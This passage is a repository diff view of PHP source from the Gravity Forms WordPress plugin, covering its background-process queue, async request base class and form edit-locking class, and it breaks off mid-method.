$type = empty( $properties->inputType ) ? $type : $properties->inputType;
} else {
$type = isset( $properties['type'] ) ? $properties['type'] : '';
$type = empty( $properties['inputType'] ) ? $type : $properties['inputType'];
}
if ( empty( $type ) || ! isset( self::$_fields[ $type ] ) ) {
return new GF_Field( $properties );
}
$class = self::$_fields[ $type ];
$class_name = get_class( $class );
$field = new $class_name( $properties );
/**
* Filter the GF_Field object after it is created.
*
* @since 1.9.18.2
*
* @param GF_Field $field A GF_Field object.
* @param array $properties An array of field properties used to generate the GF_Field object.
*
* @see https://docs.gravityforms.com/gform_gf_field_create/
*/
return apply_filters( 'gform_gf_field_create', $field, $properties );
}
}
// load all the field files automatically
foreach ( glob( plugin_dir_path( __FILE__ ) . 'class-gf-field-*.php' ) as $gf_field_filename ) {
require_once( $gf_field_filename );
}

View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

2
includes/index.php Normal file
View File

@@ -0,0 +1,2 @@
<?php
//Nothing to see here

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,714 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* GF Background Process
*
* Based on WP_Background_Process
* https://github.com/A5hleyRich/wp-background-processing/blob/master/classes/wp-background-process.php
*
* @since 2.2
*/
if ( ! class_exists( 'GF_Background_Process' ) ) {
/**
* Abstract GF_Background_Process class.
*
* @since 2.2
*
* @abstract
* @extends WP_Async_Request
*/
abstract class GF_Background_Process extends WP_Async_Request {
/**
* Action
*
* @since 2.2
*
* (default value: 'background_process')
*
* @var string
* @access protected
*/
protected $action = 'background_process';
/**
* Start time of current process.
*
* @since 2.2
*
* (default value: 0)
*
* @var int
* @access protected
*/
protected $start_time = 0;
/**
* Cron_hook_identifier
*
* @since 2.2
*
* @var mixed
* @access protected
*/
protected $cron_hook_identifier;
/**
* Cron_interval_identifier
*
* @since 2.2
*
* @var mixed
* @access protected
*/
protected $cron_interval_identifier;
/**
* Query_url
*
* @since 2.3
*
* @var string
* @access protected
*/
protected $query_url;
/**
* Initiate new background process
*
* @since 2.2
*/
public function __construct() {
parent::__construct();
$this->query_url = admin_url( 'admin-ajax.php' );
$this->cron_hook_identifier = $this->identifier . '_cron';
$this->cron_interval_identifier = $this->identifier . '_cron_interval';
add_action( $this->cron_hook_identifier, array( $this, 'handle_cron_healthcheck' ) );
add_filter( 'cron_schedules', array( $this, 'schedule_cron_healthcheck' ) );
}
/**
* Dispatches the queued tasks to Admin Ajax for processing and schedules a cron job in case processing fails.
*
* @since 2.2
*
* @access public
*
* @return array|WP_Error
*/
public function dispatch() {
GFCommon::log_debug( sprintf( '%s(): Running for %s.', __METHOD__, $this->action ) );
if ( $this->is_queue_empty() ) {
$this->clear_scheduled_event();
$dispatched = new WP_Error( 'queue_empty', 'Nothing left to process' );
} else {
// Schedule the cron healthcheck.
$this->schedule_event();
// Perform remote post.
$dispatched = parent::dispatch();
}
if ( is_wp_error( $dispatched ) ) {
GFCommon::log_debug( sprintf( '%s(): Unable to dispatch tasks to Admin Ajax: %s', __METHOD__, $dispatched->get_error_message() ) );
}
return $dispatched;
}
/**
* Get the dispatch request arguments.
*
* @since 2.3-rc-2
*
* @return array
*/
protected function get_post_args() {
$post_args = parent::get_post_args();
// Blocking prevents some issues such as cURL connection errors being reported.
unset( $post_args['blocking'] );
return $post_args;
}
/**
* Push to queue
*
* @since 2.2
*
* @param mixed $data Data.
*
* @return $this
*/
public function push_to_queue( $data ) {
$this->data[] = $data;
return $this;
}
/**
* Save queue
*
* @since 2.2
*
* @return $this
*/
public function save() {
$key = $this->generate_key();
if ( ! empty( $this->data ) ) {
$data = array(
'blog_id' => get_current_blog_id(),
'data' => $this->data,
);
update_site_option( $key, $data );
}
return $this;
}
/**
* Update queue
*
* @since 2.2
*
* @param string $key Key.
* @param array $data Data.
*
* @return $this
*/
public function update( $key, $data ) {
if ( ! empty( $data ) ) {
$old_value = get_site_option( $key );
if ( $old_value ) {
$data = array(
'blog_id' => get_current_blog_id(),
'data' => $data,
);
update_site_option( $key, $data );
}
}
return $this;
}
/**
* Delete queue
*
* @param string $key Key.
*
* @return $this
*/
public function delete( $key ) {
delete_site_option( $key );
return $this;
}
/**
* Generate key
*
* Generates a unique key based on microtime. Queue items are
* given a unique key so that they can be merged upon save.
*
* @since 2.2
*
* @param int $length Length.
*
* @return string
*/
protected function generate_key( $length = 64 ) {
$unique = md5( microtime() . rand() );
$prepend = $this->identifier . '_batch_blog_id_' . get_current_blog_id() . '_';
return substr( $prepend . $unique, 0, $length );
}
/**
* Maybe process queue
*
* Checks whether data exists within the queue and that
* the process is not already running.
*
* @since 2.2
*/
public function maybe_handle() {
GFCommon::log_debug( sprintf( '%s(): Running for %s.', __METHOD__, $this->action ) );
// Don't lock up other requests while processing
session_write_close();
if ( $this->is_process_running() ) {
// Background process already running.
wp_die();
}
if ( $this->is_queue_empty() ) {
// No data to process.
wp_die();
}
check_ajax_referer( $this->identifier, 'nonce' );
$this->handle();
wp_die();
}
/**
* Is queue empty
*
* @since 2.2
*
* @return bool
*/
protected function is_queue_empty() {
global $wpdb;
$table = $wpdb->options;
$column = 'option_name';
if ( is_multisite() ) {
$table = $wpdb->sitemeta;
$column = 'meta_key';
}
$key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%';
$count = $wpdb->get_var( $wpdb->prepare( "
SELECT COUNT(*)
FROM {$table}
WHERE {$column} LIKE %s
", $key ) );
return ( $count > 0 ) ? false : true;
}
/**
* Is process running
*
* Check whether the current process is already running
* in a background process.
*
* @since 2.2
*/
protected function is_process_running() {
$running = false;
$lock_timestamp = get_site_option( $this->identifier . '_process_lock' );
if ( $lock_timestamp ) {
$lock_duration = ( property_exists( $this, 'queue_lock_time' ) ) ? $this->queue_lock_time : 60; // 1 minute
$lock_duration = apply_filters( $this->identifier . '_queue_lock_time', $lock_duration );
if ( microtime( true ) - $lock_timestamp > $lock_duration ) {
$this->unlock_process();
} else {
$running = true;
}
}
return $running;
}
/**
* Lock process
*
* Lock the process so that multiple instances can't run simultaneously.
* Override if applicable, but the duration should be greater than that
* defined in the time_exceeded() method.
*
* @since 2.2
*/
protected function lock_process() {
$this->start_time = time(); // Set start time of current process.
update_site_option( $this->identifier . '_process_lock', microtime( true ) );
}
/**
* Unlock process
*
* Unlock the process so that other instances can spawn.
*
* @since 2.2
*
* @return $this
*/
public function unlock_process() {
delete_site_option( $this->identifier . '_process_lock' );
return $this;
}
/**
* Get batch
*
* @since 2.2
*
* @return stdClass Return the first batch from the queue
*/
protected function get_batch() {
global $wpdb;
$table = $wpdb->options;
$column = 'option_name';
$key_column = 'option_id';
$value_column = 'option_value';
if ( is_multisite() ) {
$table = $wpdb->sitemeta;
$column = 'meta_key';
$key_column = 'meta_id';
$value_column = 'meta_value';
}
$key = $wpdb->esc_like( $this->identifier . '_batch_blog_id_' . get_current_blog_id() . '_' ) . '%';
$sql = "
SELECT *
FROM {$table}
WHERE {$column} LIKE %s
ORDER BY {$key_column} ASC
LIMIT 1
";
$query = $wpdb->get_row( $wpdb->prepare( $sql, $key ) );
if ( empty( $query ) ) {
// No more batches for this blog ID. Get the next one in the queue regardless of the blog ID.
$key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%';
$query = $wpdb->get_row( $wpdb->prepare( $sql, $key ) );
}
$batch = new stdClass();
$batch->key = $query->$column;
$value = maybe_unserialize( $query->$value_column );
$batch->data = $value['data'];
$batch->blog_id = $value['blog_id'];
return $batch;
}
/**
* Handle
*
* Pass each queue item to the task handler, while remaining
* within server memory and time limit constraints.
*
* @since 2.2
*/
protected function handle() {
$this->lock_process();
do {
$batch = $this->get_batch();
if ( is_multisite() && get_current_blog_id() !== $batch->blog_id ) {
$this->spawn_multisite_child_process( $batch->blog_id );
wp_die();
}
GFCommon::log_debug( sprintf( '%s(): Processing batch for %s.', __METHOD__, $this->action ) );
foreach ( $batch->data as $key => $value ) {
$task = $this->task( $value );
if ( $task !== false ) {
$batch->data[ $key ] = $task;
} else {
unset( $batch->data[ $key ] );
}
if ( $task !== false || $this->time_exceeded() || $this->memory_exceeded() ) {
// Batch limits reached or task not complete.
break;
}
}
// Update or delete current batch.
if ( ! empty( $batch->data ) ) {
$this->update( $batch->key, $batch->data );
} else {
$this->delete( $batch->key );
}
} while ( ! $this->time_exceeded() && ! $this->memory_exceeded() && ! $this->is_queue_empty() );
GFCommon::log_debug( sprintf( '%s(): Batch completed for %s.', __METHOD__, $this->action ) );
$this->unlock_process();
// Start next batch or complete process.
if ( ! $this->is_queue_empty() ) {
$this->dispatch();
} else {
$this->complete();
}
wp_die();
}
/**
* Spawn a new background process on the multisite that scheduled the current task
*
* @param int $blog_id
*
* @since 2.3
*/
protected function spawn_multisite_child_process( $blog_id ) {
GFCommon::log_debug( sprintf( '%s(): Running for blog #%s.', __METHOD__, $blog_id ) );
switch_to_blog( $blog_id );
$this->query_url = admin_url( 'admin-ajax.php' );
$this->unlock_process();
$this->dispatch();
}
/**
* Memory exceeded
*
* Ensures the batch process never exceeds 90%
* of the maximum WordPress memory.
*
* @since 2.2
*
* @return bool
*/
protected function memory_exceeded() {
$memory_limit = $this->get_memory_limit() * 0.9; // 90% of max memory
$current_memory = memory_get_usage( true );
$return = false;
if ( $current_memory >= $memory_limit ) {
$return = true;
}
return apply_filters( $this->identifier . '_memory_exceeded', $return );
}
/**
* Get memory limit
*
* @since 2.2
*
* @return int
*/
protected function get_memory_limit() {
if ( function_exists( 'ini_get' ) ) {
$memory_limit = ini_get( 'memory_limit' );
} else {
// Sensible default.
$memory_limit = '128M';
}
if ( ! $memory_limit || -1 === intval( $memory_limit ) ) {
// Unlimited, set to 32GB.
$memory_limit = '32000M';
}
return intval( $memory_limit ) * 1024 * 1024;
}
/**
* Time exceeded.
*
* @since 2.2
*
* Ensures the batch never exceeds a sensible time limit.
* A timeout limit of 30s is common on shared hosting.
*
* @return bool
*/
protected function time_exceeded() {
$finish = $this->start_time + apply_filters( $this->identifier . '_default_time_limit', 20 ); // 20 seconds
$return = false;
if ( time() >= $finish ) {
$return = true;
}
return apply_filters( $this->identifier . '_time_exceeded', $return );
}
/**
* Complete.
*
* @since 2.2
*
* Override if applicable, but ensure that the below actions are
* performed, or, call parent::complete().
*/
protected function complete() {
// Unschedule the cron healthcheck.
$this->clear_scheduled_event();
}
/**
* Schedule cron healthcheck
*
* @since 2.2
*
* @access public
* @param mixed $schedules Schedules.
* @return mixed
*/
public function schedule_cron_healthcheck( $schedules ) {
$interval = apply_filters( $this->identifier . '_cron_interval', 5 );
if ( property_exists( $this, 'cron_interval' ) ) {
$interval = apply_filters( $this->identifier . '_cron_interval', $this->cron_interval_identifier );
}
// Adds every 5 minutes to the existing schedules.
$schedules[ $this->identifier . '_cron_interval' ] = array(
'interval' => MINUTE_IN_SECONDS * $interval,
'display' => sprintf( __( 'Every %d Minutes', 'gravityforms' ), $interval ),
);
return $schedules;
}
/**
* Handle cron healthcheck
*
* Restart the background process if not already running
* and data exists in the queue.
*
* @since 2.2
*/
public function handle_cron_healthcheck() {
GFCommon::log_debug( sprintf( '%s(): Running for %s.', __METHOD__, $this->action ) );
if ( $this->is_process_running() ) {
// Background process already running.
exit;
}
if ( $this->is_queue_empty() ) {
// No data to process.
$this->clear_scheduled_event();
exit;
}
$this->handle();
exit;
}
/**
* Schedule event
*
* @since 2.2
*/
protected function schedule_event() {
if ( ! wp_next_scheduled( $this->cron_hook_identifier ) ) {
GFCommon::log_debug( sprintf( '%s(): Scheduling cron event for %s.', __METHOD__, $this->action ) );
wp_schedule_event( time() + 10, $this->cron_interval_identifier, $this->cron_hook_identifier );
}
}
/**
* Clear scheduled event
*
* @since 2.2
*/
protected function clear_scheduled_event() {
$timestamp = wp_next_scheduled( $this->cron_hook_identifier );
if ( $timestamp ) {
GFCommon::log_debug( sprintf( '%s(): Clearing cron event for %s.', __METHOD__, $this->action ) );
wp_unschedule_event( $timestamp, $this->cron_hook_identifier );
}
}
/**
* Clears all scheduled events.
*
* @since 2.3.1.x
*/
public function clear_scheduled_events() {
wp_clear_scheduled_hook( $this->cron_hook_identifier );
}
/**
* Cancel Process
*
* Stop processing queue items, clear cronjob and delete batch.
*
* @since 2.2
*/
public function cancel_process() {
if ( ! $this->is_queue_empty() ) {
$batch = $this->get_batch();
$this->delete( $batch->key );
$this->clear_scheduled_events();
}
}
/**
* Clears all batches from the queue.
*
* @since 2.3
*
* @param bool $all_blogs_in_network
*
* @return false|int
*/
public function clear_queue( $all_blogs_in_network = false ) {
global $wpdb;
$table = $wpdb->options;
$column = 'option_name';
if ( is_multisite() ) {
$table = $wpdb->sitemeta;
$column = 'meta_key';
}
$key = $this->identifier . '_batch_';
if ( ! $all_blogs_in_network ) {
$key .= 'blog_id_' . get_current_blog_id() . '_';
}
$key = $wpdb->esc_like( $key ) . '%';
$result = $wpdb->query( $wpdb->prepare( "
DELETE FROM {$table}
WHERE {$column} LIKE %s
", $key ) );
return $result;
}
/**
* Task
*
* Override this method to perform any actions required on each
* queue item. Return the modified item for further processing
* in the next pass through. Or, return false to remove the
* item from the queue.
*
* @since 2.2
*
* @param mixed $item Queue item to iterate over.
*
* @return mixed
*/
abstract protected function task( $item );
}
}

View File

@@ -0,0 +1,163 @@
<?php
/**
* WP Async Request
*
* @package WP-Background-Processing
*/
if ( ! class_exists( 'WP_Async_Request' ) ) {
/**
* Abstract WP_Async_Request class.
*
* @abstract
*/
abstract class WP_Async_Request {
/**
* Prefix
*
* (default value: 'wp')
*
* @var string
* @access protected
*/
protected $prefix = 'wp';
/**
* Action
*
* (default value: 'async_request')
*
* @var string
* @access protected
*/
protected $action = 'async_request';
/**
* Identifier
*
* @var mixed
* @access protected
*/
protected $identifier;
/**
* Data
*
* (default value: array())
*
* @var array
* @access protected
*/
protected $data = array();
/**
* Initiate new async request
*/
public function __construct() {
$this->identifier = $this->prefix . '_' . $this->action;
add_action( 'wp_ajax_' . $this->identifier, array( $this, 'maybe_handle' ) );
add_action( 'wp_ajax_nopriv_' . $this->identifier, array( $this, 'maybe_handle' ) );
}
/**
* Set data used during the request
*
* @param array $data Data.
*
* @return $this
*/
public function data( $data ) {
$this->data = $data;
return $this;
}
/**
* Dispatch the async request
*
* @return array|WP_Error
*/
public function dispatch() {
$url = add_query_arg( $this->get_query_args(), $this->get_query_url() );
$args = $this->get_post_args();
return wp_remote_post( esc_url_raw( $url ), $args );
}
/**
* Get query args
*
* @return array
*/
protected function get_query_args() {
if ( property_exists( $this, 'query_args' ) ) {
return $this->query_args;
}
return array(
'action' => $this->identifier,
'nonce' => wp_create_nonce( $this->identifier ),
);
}
/**
* Get query URL
*
* @return string
*/
protected function get_query_url() {
if ( property_exists( $this, 'query_url' ) ) {
return $this->query_url;
}
return admin_url( 'admin-ajax.php' );
}
/**
* Get post args
*
* @return array
*/
protected function get_post_args() {
if ( property_exists( $this, 'post_args' ) ) {
return $this->post_args;
}
return array(
'timeout' => 0.01,
'blocking' => false,
'body' => $this->data,
'cookies' => $_COOKIE,
'sslverify' => apply_filters( 'https_local_ssl_verify', false ),
);
}
/**
* Maybe handle
*
* Check for correct nonce and pass to handler.
*/
public function maybe_handle() {
// Don't lock up other requests while processing
session_write_close();
check_ajax_referer( $this->identifier, 'nonce' );
$this->handle();
wp_die();
}
/**
* Handle
*
* Override this method to perform any actions required
* during the async request.
*/
abstract protected function handle();
}
}

View File

@@ -0,0 +1,593 @@
<?php
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Handles all tasks related to locking.
*
* - Loads the WordPress Heartbeat API and scripts & styles for GF Locking
* - Provides standardized UX
*
* @package GFLocking
* @author Rocketgenius
*/
abstract class GFLocking {
private $_object_type;
private $_object_id;
private $_edit_url;
private $_redirect_url;
private $_capabilities;
const PREFIX_EDIT_LOCK = 'lock_';
const PREFIX_EDIT_LOCK_REQUEST = 'lock_request_';
public function __construct( $object_type, $redirect_url, $edit_url = '', $capabilities = array() ) {
$this->_object_type = $object_type;
$this->_redirect_url = $redirect_url;
$this->_capabilities = $capabilities;
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
$this->init_ajax();
} else {
$this->register_scripts();
$is_locking_page = false;
$is_edit_page = false;
if ( $this->is_edit_page() ) {
$this->init_edit_lock();
$is_locking_page = true;
$is_edit_page = true;
} else if ( $this->is_list_page() ) {
$this->init_list_page();
$is_locking_page = true;
} else if ( $this->is_view_page() ) {
$this->init_view_page();
$is_locking_page = true;
}
if ( $is_locking_page ) {
$this->_object_id = $this->get_object_id();
$this->_edit_url = $edit_url;
$this->maybe_lock_object( $is_edit_page );
}
}
}
/**
* Override this method to check the condition for the edit page.
*
* @return bool
*/
protected function is_edit_page() {
return false;
}
/**
* Override this method to check the condition for the list page.
*
* @return bool
*/
protected function is_list_page() {
return false;
}
/**
* Override this method to check the condition for the view page.
*
* @return bool
*/
protected function is_view_page() {
return false;
}
/**
* Override this method to provide the class with the correct object id.
*
* @return bool
*/
protected function get_object_id() {
$id = rgget( 'id' );
$id = absint( $id );
return $id; // example in the case of form id
}
public function init_edit_lock() {
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
}
public function init_ajax() {
add_filter( 'heartbeat_received', array( $this, 'heartbeat_refresh_nonces' ), 10, 3 );
add_filter( 'heartbeat_received', array( $this, 'heartbeat_check_locked_objects' ), 10, 3 );
add_filter( 'heartbeat_received', array( $this, 'heartbeat_refresh_lock' ), 10, 3 );
add_filter( 'heartbeat_received', array( $this, 'heartbeat_request_lock' ), 10, 3 );
add_filter( 'wp_ajax_gf_lock_request_' . $this->_object_type, array( $this, 'ajax_lock_request' ) );
add_filter( 'wp_ajax_gf_reject_lock_request_' . $this->_object_type, array( $this, 'ajax_reject_lock_request' ) );
}
public function init_list_page() {
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_list_scripts' ) );
}
public function init_view_page() {
add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_view_page_scripts' ) );
}
public function register_scripts() {
$min = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG || isset( $_GET['gform_debug'] ) ? '' : '.min';
$locking_path = GFCommon::get_base_url() . '/includes/locking/';
wp_register_script( 'gforms_locking', $locking_path . "js/locking{$min}.js", array( 'jquery', 'heartbeat' ), GFCommon::$version );
wp_register_script( 'gforms_locking_view', $locking_path . "js/locking-view{$min}.js", array( 'jquery', 'heartbeat' ), GFCommon::$version );
wp_register_script( 'gforms_locking_list', $locking_path . "js/locking-list{$min}.js", array( 'jquery', 'heartbeat' ), GFCommon::$version );
wp_register_style( 'gforms_locking_css', $locking_path . "css/locking{$min}.css", array(), GFCommon::$version );
wp_register_style( 'gforms_locking_list_css', $locking_path . "css/locking-list{$min}.css", array(), GFCommon::$version );
// No conflict scripts
add_filter( 'gform_noconflict_scripts', array( $this, 'register_noconflict_scripts' ) );
add_filter( 'gform_noconflict_styles', array( $this, 'register_noconflict_styles' ) );
}
public function register_noconflict_scripts( $scripts ) {
$locking_scripts = array( 'gforms_locking', 'gforms_locking_list', 'gforms_locking_view' );
return array_merge( $scripts, $locking_scripts );
}
public function register_noconflict_styles( $styles ) {
$locking_styles = array( 'gforms_locking_css', 'gforms_locking_list_css' );
return array_merge( $styles, $locking_styles );
}
public function enqueue_scripts() {
wp_enqueue_script( 'gforms_locking' );
wp_enqueue_style( 'gforms_locking_css' );
$lock_user_id = $this->check_lock( $this->get_object_id() );
$strings = array(
'noResponse' => $this->get_string( 'no_response' ),
'requestAgain' => $this->get_string( 'request_again' ),
'requestError' => $this->get_string( 'request_error' ),
'gainedControl' => $this->get_string( 'gained_control' ),
'rejected' => $this->get_string( 'request_rejected' ),
'pending' => $this->get_string( 'request_pending' )
);
$vars = array(
'hasLock' => ! $lock_user_id ? 1 : 0,
'lockUI' => $this->get_lock_ui( $lock_user_id ),
'objectID' => $this->_object_id,
'objectType' => $this->_object_type,
'strings' => $strings,
);
wp_localize_script( 'gforms_locking', 'gflockingVars', $vars );
}
public function enqueue_list_scripts() {
wp_enqueue_script( 'gforms_locking_list' );
wp_enqueue_style( 'gforms_locking_list_css' );
$vars = array(
'objectType' => $this->_object_type,
);
wp_localize_script( 'gforms_locking_list', 'gflockingVars', $vars );
}
public function enqueue_view_page_scripts() {
wp_enqueue_script( 'gforms_locking_view' );
wp_enqueue_style( 'gforms_locking_view_css' );
$lock_user_id = $this->check_lock( $this->get_object_id() );
$vars = array(
'hasLock' => ! $lock_user_id ? 1 : 0,
'objectID' => $this->_object_id,
'objectType' => $this->_object_type,
);
wp_localize_script( 'gforms_locking_view', 'gflockingVars', $vars );
}
protected function get_strings() {
$strings = array(
'currently_locked' => esc_html__( 'This page is currently locked. Click on the "Request Control" button to let %s know you\'d like to take over.', 'gravityforms' ),
'accept' => esc_html__( 'Accept', 'gravityforms' ),
'cancel' => esc_html__( 'Cancel', 'gravityforms' ),
'currently_editing' => esc_html__( '%s is currently editing', 'gravityforms' ),
'taken_over' => esc_html__( '%s has taken over and is currently editing.', 'gravityforms' ),
'lock_requested' => esc_html__( '%s has requested permission to take over control.', 'gravityforms' ),
'gained_control' => esc_html__( 'You now have control', 'gravityforms' ),
'request_pending' => esc_html__( 'Pending', 'gravityforms' ),
'no_response' => esc_html__( 'No response', 'gravityforms' ),
'request_again' => esc_html__( 'Request again', 'gravityforms' ),
'request_error' => esc_html__( 'Error', 'gravityforms' ),
'request_rejected' => esc_html__( 'Your request was rejected', 'gravityforms' ),
);
return $strings;
}
public function ajax_lock_request() {
$object_id = rgget( 'object_id' );
$response = $this->request_lock( $object_id );
echo json_encode( $response );
die();
}
public function ajax_reject_lock_request() {
$object_id = rgget( 'object_id' );
$response = $this->delete_lock_request_meta( $object_id );
echo json_encode( $response );
die();
}
protected function has_lock() {
return $this->check_lock( $this->get_object_id() ) ? true : false;
}
protected function check_lock( $object_id ) {
if ( ! $user_id = $this->get_lock_meta( $object_id ) ) {
return false;
}
if ( $user_id != get_current_user_id() ) {
return $user_id;
}
return false;
}
protected function check_lock_request( $object_id ) {
if ( ! $user_id = $this->get_lock_request_meta( $object_id ) ) {
return false;
}
if ( $user_id != get_current_user_id() ) {
return $user_id;
}
return false;
}
protected function set_lock( $object_id ) {
if ( ! GFCommon::current_user_can_any( $this->_capabilities ) ) {
return false;
}
if ( 0 == ( $user_id = get_current_user_id() ) ) {
return false;
}
$this->update_lock_meta( $object_id, $user_id );
return $user_id;
}
protected function request_lock( $object_id ) {
if ( 0 == ( $user_id = get_current_user_id() ) ) {
return false;
}
$lock_holder_user_id = $this->check_lock( $object_id );
$result = array();
if ( ! $lock_holder_user_id ) {
$this->set_lock( $object_id );
$result['html'] = __( 'You now have control', 'gravityforms' );
$result['status'] = 'lock_obtained';
} else {
$user = get_userdata( $lock_holder_user_id );
$this->update_lock_request_meta( $object_id, $user_id );
$result['html'] = sprintf( __( 'Your request has been sent to %s.', 'gravityforms' ), $user->display_name );
$result['status'] = 'lock_requested';
}
return $result;
}
protected function get_lock_request_meta( $object_id ) {
return GFCache::get( self::PREFIX_EDIT_LOCK_REQUEST . $this->_object_type . '_' . $object_id );
}
protected function get_lock_meta( $object_id ) {
return GFCache::get( self::PREFIX_EDIT_LOCK . $this->_object_type . '_' . $object_id );
}
protected function update_lock_meta( $object_id, $lock_value ) {
GFCache::set( self::PREFIX_EDIT_LOCK . $this->_object_type . '_' . $object_id, $lock_value, true, 150 );
}
protected function update_lock_request_meta( $object_id, $lock_request_value ) {
GFCache::set( self::PREFIX_EDIT_LOCK_REQUEST . $this->_object_type . '_' . $object_id, $lock_request_value, true, 120 );
}
protected function delete_lock_request_meta( $object_id ) {
GFCache::delete( self::PREFIX_EDIT_LOCK_REQUEST . $this->_object_type . '_' . $object_id );
return true;
}
protected function delete_lock_meta( $object_id ) {
GFCache::delete( self::PREFIX_EDIT_LOCK . $this->_object_type . '_' . $object_id );
return true;
}
public function maybe_lock_object( $is_edit_page ) {
if ( isset( $_GET['get-edit-lock'] ) ) {
$this->set_lock( $this->_object_id );
wp_safe_redirect( $this->_edit_url );
exit();
} else if ( isset( $_GET['release-edit-lock'] ) ) {
$this->delete_lock_meta( $this->_object_id );
wp_safe_redirect( $this->_redirect_url );
exit();
} else {
if ( $is_edit_page && ! $user_id = $this->check_lock( $this->_object_id ) ) {
$this->set_lock( $this->_object_id );
}
}
}
public function heartbeat_check_locked_objects( $response, $data, $screen_id ) {
$checked = array();
$heartbeat_key = 'gform-check-locked-objects-' . $this->_object_type;
if ( array_key_exists( $heartbeat_key, $data ) && is_array( $data[ $heartbeat_key ] ) ) {
foreach ( $data[ $heartbeat_key ] as $object_id ) {
if ( ( $user_id = $this->check_lock( $object_id ) ) && ( $user = get_userdata( $user_id ) ) ) {
$send = array( 'text' => sprintf( __( $this->get_string( 'currently_editing' ) ), $user->display_name ) );
if ( ( $avatar = get_avatar( $user->ID, 18 ) ) && preg_match( "|src='([^']+)'|", $avatar, $matches ) ) {
$send['avatar_src'] = $matches[1];
}
$checked[ $object_id ] = $send;
}
}
}
if ( ! empty( $checked ) ) {
$response[ $heartbeat_key ] = $checked;
}
return $response;
}
public function heartbeat_refresh_lock( $response, $data, $screen_id ) {
$heartbeat_key = 'gform-refresh-lock-' . $this->_object_type;
if ( array_key_exists( $heartbeat_key, $data ) ) {
$received = $data[ $heartbeat_key ];
$send = array();
if ( ! isset( $received['objectID'] ) ) {
return $response;
}
$object_id = $received['objectID'];
if ( ( $user_id = $this->check_lock( $object_id ) ) && ( $user = get_userdata( $user_id ) ) ) {
$error = array(
'text' => sprintf( __( $this->get_string( 'taken_over' ) ), $user->display_name )
);
if ( $avatar = get_avatar( $user->ID, 64 ) ) {
if ( preg_match( "|src='([^']+)'|", $avatar, $matches ) ) {
$error['avatar_src'] = $matches[1];
}
}
$send['lock_error'] = $error;
} else {
if ( $new_lock = $this->set_lock( $object_id ) ) {
$send['new_lock'] = $new_lock;
if ( ( $lock_requester = $this->check_lock_request( $object_id ) ) && ( $user = get_userdata( $lock_requester ) ) ) {
$lock_request = array(
'text' => sprintf( __( $this->get_string( 'lock_requested' ) ), $user->display_name )
);
if ( $avatar = get_avatar( $user->ID, 64 ) ) {
if ( preg_match( "|src='([^']+)'|", $avatar, $matches ) ) {
$lock_request['avatar_src'] = $matches[1];
}
}
$send['lock_request'] = $lock_request;
}
}
}
$response[ $heartbeat_key ] = $send;
}
return $response;
}
public function heartbeat_request_lock( $response, $data, $screen_id ) {
$heartbeat_key = 'gform-request-lock-' . $this->_object_type;
if ( array_key_exists( $heartbeat_key, $data ) ) {
$received = $data[ $heartbeat_key ];
$send = array();
if ( ! isset( $received['objectID'] ) ) {
return $response;
}
$object_id = $received['objectID'];
if ( ( $user_id = $this->check_lock( $object_id ) ) && ( $user = get_userdata( $user_id ) ) ) {
if ( $this->get_lock_request_meta( $object_id ) ) {
$send['status'] = 'pending';
} else {
$send['status'] = 'deleted';
}
} else {
if ( $new_lock = $this->set_lock( $object_id ) ) {
$send['status'] = 'granted';
}
}
$response[ $heartbeat_key ] = $send;
}
return $response;
}
public function heartbeat_refresh_nonces( $response, $data, $screen_id ) {
if ( array_key_exists( 'gform-refresh-nonces', $data ) ) {
$received = $data['gform-refresh-nonces'];
$response['gform-refresh-nonces'] = array( 'check' => 1 );
if ( ! isset( $received['objectID'] ) ) {
return $response;
}
$object_id = $received['objectID'];
if ( ! GFCommon::current_user_can_any( $this->_capabilities ) || empty( $received['post_nonce'] ) ) {
return $response;
}
if ( 2 === wp_verify_nonce( $received['object_nonce'], 'update-contact_' . $object_id ) ) {
$response['gform-refresh-nonces'] = array(
'replace' => array(
'_wpnonce' => wp_create_nonce( 'update-object_' . $object_id ),
),
'heartbeatNonce' => wp_create_nonce( 'heartbeat-nonce' ),
);
}
}
return $response;
}
public function get_lock_ui( $user_id ) {
$user = get_userdata( $user_id );
$locked = $user_id && $user;
$edit_url = $this->_edit_url;
$hidden = $locked ? '' : ' hidden';
if ( $locked ) {
$message = '<div class="gform-locked-message">
<div class="gform-locked-avatar">' . get_avatar( $user->ID, 64 ) . '</div>
<p class="currently-editing" tabindex="0">' . sprintf( $this->get_string( 'currently_locked' ), $user->display_name ) . '</p>
<p>
<a id="gform-take-over-button" style="display:none" class="button button-primary wp-tab-first" href="' . esc_url( add_query_arg( 'get-edit-lock', '1', $edit_url ) ) . '">' . __( 'Take Over', 'gravityforms' ) . '</a>
<button id="gform-lock-request-button" class="button button-primary wp-tab-last">' . __( 'Request Control', 'gravityforms' ) . '</button>
<a class="button" href="' . esc_url( $this->_redirect_url ) . '">' . $this->get_string( 'cancel' ) . '</a>
</p>
<div id="gform-lock-request-status">
<!-- placeholder -->
</div>
</div>';
} else {
$message = '<div class="gform-taken-over">
<div class="gform-locked-avatar"></div>
<p class="wp-tab-first" tabindex="0">
<span class="currently-editing"></span><br>
</p>
<p>
<a id="gform-release-lock-button" class="button button-primary wp-tab-last" href="' . esc_url( add_query_arg( 'release-edit-lock', '1', $edit_url ) ) . '">' . $this->get_string( 'accept' ) . '</a>
<button id="gform-reject-lock-request-button" style="display:none" class="button button-primary wp-tab-last">' . __( 'Reject Request', 'gravityforms' ) . '</button>
</p>
</div>';
}
$html = '<div id="gform-lock-dialog" class="notification-dialog-wrap' . $hidden . '">
<div class="notification-dialog-background"></div>
<div class="notification-dialog">';
$html .= $message;
$html .= ' </div>
</div>';
return $html;
}
public function get_string( $string_key ) {
$strings = $this->get_strings();
return rgar( $strings, $string_key );
}
// helper functions for the list page
public function list_row_class( $object_id, $echo = true ) {
$locked_class = $this->is_locked( $object_id ) ? 'wp-locked' : '';
$classes = ' gf-locking ' . $locked_class;
if ( $echo ) {
echo $classes;
}
return $classes;
}
public function is_locked( $object_id ) {
